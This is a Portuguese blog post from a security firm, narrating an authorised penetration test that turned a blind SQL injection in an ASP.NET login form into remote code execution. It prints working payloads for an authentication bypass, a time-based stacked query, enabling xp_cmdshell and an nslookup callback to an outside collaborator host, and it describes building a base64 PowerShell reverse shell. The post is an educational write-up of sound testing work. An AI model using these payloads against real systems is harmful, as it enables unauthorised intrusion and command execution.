Linkedin-in Youtube Twitter Facebook-f Instagram
  • +55 (11) 3255 -3926
  • contato@ibliss.com.br
  • Home
  • A IBLISS
    • Responsabilidade Social
  • Nossos Serviços
    • Consultoria em Cibersegurança
    • Teste de Intrusão
    • Conscientização & Cultura
    • Serviços Gerenciados
    • Compliance & Governança
    • AppSec & DevSecOps
  • Conteúdos
    • Blog
    • Materiais Ricos
    • Boletins de vulnerabilidades
  • Oportunidades
  • Contato
IBLISS Digital Security
  • A IBLISS
    • Nossa Equipe
    • Responsabilidade Social
  • Aviso de Privacidade
  • Blog Minuto Proteção
  • Boletins de vulnerabilidades
  • Contato
  • E-book Programa de Conscientização em Segurança da Informação
  • Home
  • IBLISS + GAT Security score
  • Infográfico Gestão de Vulnerabilidades – um passo em direção a um caminho seguro
  • Infográfico Por que investir em um Programa de Conscientização?
  • Infográfico RESILIÊNCIA CIBERNÉTICA
  • Materiais Ricos
  • Nosso Propósito
  • Nossos Serviços
    • AppSec & DevSecOps
      • Análise SAST e DAST
      • Revisão de Segurança (ASVS)
    • Compliance & Governança
    • Conscientização & Cultura
    • Consultoria em Cibersegurança
      • Teste de Intrusão
    • Serviços Gerenciados
  • Oportunidades
  • Parceiros tecnológicos
  • Política de Cookies
  • Política de segurança da informação – fornecedores, parceiros e prestadores de serviços
  • Política de Segurança de Alto Nível

Blog Minuto Proteção

  • Home
  • Blog Minuto Proteção
  • Cyber Protection
  • Diário de um Pentester: As aventuras da equipe técnica
Cyber Protection Diário de Um Pentester Education Privacidade Segurança Digital Testes de invasão

Diário de um Pentester: As aventuras da equipe técnica

O time de especialista da IBLISS Digital Security, em especial nosso time de Pentester, diariamente, vivência aventuras e casos interessantíssimos em diversos ambientes diferentes. 

E para dividir todo esse conhecimento, este é o primeiro artigo de uma série de materiais que vamos divulgar sobre alguns cases e histórias vividas pelo nosso time técnico, com insights, técnicas e “artimanhas” usadas (e desenvolvidas), sempre com o intuito de entregar um serviço que agregue valor para os nossos clientes e vise a redução de custo.

Vamos lá para nossa primeira aventura?!?

…Do Blind SQL Injection ao RCE, quando demos um bypass do NGFW ao EDR…

Em nossa mais recente aventura de Pentest [Teste de Intrusão] nos deparamos logo de cara com algo interessante na Aplicação Web.

Um painel de login onde a aplicação listava os usuários existentes em um select [HTML]

Imagem 1 – select [HTML] retornando usuários da aplicação

Analisando o código fonte da página é possível listar os usuários existentes e a partir dos headers da resposta conseguimos também identificar as tecnologias utilizadas (Microsoft-IIS/8.0, ASP.NET) o que confirmava a utilização de um Windows Server como servidor. 

Imagem 2 – select [HTML] retornando usuários da aplicação

Por lógica essas informações estavam sendo retornadas de algum banco de dados.

Na tentativa de realizar login na aplicação identificamos que os valores eram enviados via métodos POST

Imagem 3 – parâmetros suscetíveis a SQLi

Então começamos a realizar fuzzing [payloads SQL Injection] nos parâmetros do usuário [Usuario] e senha [Senha], que resultou positivo para um provável SQL Injection (SQLi)

Ao utilizar o payload de escape ‘– identificamos que era possível acessar o painel administrativo da aplicação, ocasionando um bypass de autenticação. Os valores do parâmetro Senha poderiam ser ignorados com qualquer valor.

Imagem 4 – Bypass autenticação

Então começamos a realizar fuzzing (payloads SQL Injection) nos parâmetros do usuário (Usuario) e senha (Senha), que resultou positivo para um provável SQL Injection (SQLi). 

Tentamos explorar de várias formas e técnicas, mas não havia nenhum retorno da aplicação, ou seja, o SQLi era do tipo Blind (cego). 

Na terra dos blind cegos…

Tentamos incansáveis técnicas e ferramentas a fim de automatizar a exploração, porém todas elas encontravam dificuldade para identificar a injeção. 

Realizamos várias tentativas com intuito de exfiltrar dados, mas percebemos que estávamos sendo barrados por uma proteção de borda (Firewall/IPS/IDS).  

Utilizamos o payload ’;WAITFOR DELAY ’0:0:5’– e percebemos que a aplicação estava suscetível a stacked queries (onde você pode fazer múltiplas consultas), fazendo com que a aplicação demore 5 segundos para responder. 

Baseado nas informações coletadas no cabeçalho da resposta sobre as tecnologias utilizadas e de acordo com o aceite da sintaxe dos payloads poderíamos presumir que a tecnologia utilizada como Banco de Dados se tratava do Microsoft SQL Server. 

Como é sabido o Microsoft SQL Server possui uma função xp_cmdshell, desabilitado por padrão, onde é possível executar comandos do sistema operacional. 

Enviamos o seguinte payload com o intuito de habilitar o xp_cmdshell: 

‘;EXEC sp_configure ‘xp_cmdshell’, 1\r\nRECONFIGURE\r\nGO– 

E para confirmar que o comando foi executado com sucesso enviamos algumas consultas de nslookup (consulta de DNS) como alvo o Burp Collaborator, assim percebemos que a aplicação estava suscetível a Execução Remota de Código (RCE). 

‘;EXEC master..xp_cmdshell ‘nslookup target.burpcollaborator.net’- 

Imagem 5 – Enviando payload com consultas de nslookup
Imagem 6 – Confirmação da consulta de DNS

Opaaaaaaa problema resolvido, vamos atrás da shell? Só que não!

Como havia bloqueios (proteção de borda e AV/endpoint) por parte da infraestrutura da aplicação não conseguimos avançar com mais execuções de comandos. 

Tentamos vários e vários payloads e ‘n’ técnicas e mesmo assim não obtivemos resultados. 

Como o SQLi era Blind a única forma de depuração era o ‘Bypass da Autenticação’, caso o payload [caracteres] funciona-se era realizado o login, caso contrário era apresentado erro de autenticação. 

Então identificamos que a aplicação não aceitava alguns caracteres, ou união deles, nas cargas que havíamos tentado.  

Tentamos realizar alguns escapes e aplicar técnicas de ofuscação, porém mesmo assim não houve resultados positivos. 

Conforme já confirmado o RCE utilizando xp_cmdshell, tivemos a ideia de invocar o PowerShell e enviar um comando encodado em base64. 

E ai…nos deparamos com outro dilema, não funcionava da forma esperada. 

Resolvemos analisar o payload inicial (comando powershell)… 

…e começamos a efetuar vários e vários ajustes e mesmo assim a frustração ainda continuava.

…quem tem um payload olho é rei

Resolvemos começar alguns testes em um ambiente controlado (laboratório).

E Opaaa ?? algo estranho no encode base64.

Identificamos que o base64 interpretado como comando do PowerShell era completamente diferente do que geramos no ambiente Linux, isso acontece pois o Windows utiliza UTF-16-LE (Little Endian). 

Imagem 8 – Payload encodado em base64 ambiente Linux
Imagem 9 – Payload encodado em base64 ambiente Linux

Diante do fato dos ambientes se comportarem de maneiras diferentes começamos uma nova saga para montar o payload correto. 

No ambiente de testes (laboratório), funcionava perfeitamente, porém na aplicação real não e novamente outra frustração. 

Parecia que algo estava filtrando e bloqueando o comportamento da execução de código. 

Voltamos novamente ao payload inicial e realizamos vários e vários ajustes e mesmo assim ainda não funcionava. 

Em uma breve leitura a documentação do PowerShell identificamos que o caractere de escape utilizado em sua sintaxe era o acento grave ( ` ), então tentamos escapar as variáveis `$  . 

Payload com escape de variáveis PowerShell (alterar IP_ATACANTE e PORTA_ATACANTE com seus devidos valores). 

Encodar o payload em base64 utilizando o PowerShell.

A carga útil final para explorar o SQLi com RCE [shell reversa] ficaria assim.

E BOOOOOOOOOM, Shell tá em casa \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/

A conclusão é que na maioria das vezes a persistência e uma pitada de criatividade pode fazer muita diferença 🙂

Por: Maycon Silva e Leandro Inácio

OBS: Observem que ocultamos todos os pontos de extremidade e outras informações identificáveis, pois a vulnerabilidade foi relatada como parte de um teste real de divulgação privada e a empresa afetada não deseja que nenhuma informação sobre seu ambiente ou essa descoberta seja publicada.

Pesquisas Segurança da Informação
Tudo o que você precisa saber sobre segurança digital no período de Grandes Compras
17 de novembro de 2021
Diário de um Pentester: Engenharia Reversa App Android
23 de dezembro de 2021

Postagens Recentes

  • O Papel da Segurança da Informação no Caso PIX: Lições dos Controles NIST e ISO 27001
  • IBLISS anuncia nova fase de crescimento e reforça time executivo com foco em CTEM
  • Qual a importância em investir em um Programa de Conscientização?
  • Teste de Invasão: Conheça as principais vantagens
  • A importância dos testes de invasão para médias e pequenas empresas

Contato

Av. Angélica, 2582
2° Andar
CEP 01228-200
Bela Vista
São Paulo / SP

contato@ibliss.com.br

+55 (11) 3255 -3926

Links

  • A IBLISS
  • Nossos Serviços
  • Blog
  • Oportunidades
  • Contato
  • Aviso de Privacidade
  • Política de Cookies
  • Política de Segurança de Alto Nível
  • PSI – Fornecedores & Parceiros

Siga a IBLISS

Linkedin Youtube Facebook Instagram Twitter

Newsletter

© 2022 IBLISS Digital Security. Todos os direitos reservados. Desenvolvido por QMove.

Utilizamos cookies e outras tecnologias semelhantes para garantir que você obtenha a melhor experiência em nosso site. Consulte a Política de Cookies. Além disso, ao continuar navegando, você está ciente com o nosso Aviso de Privacidade.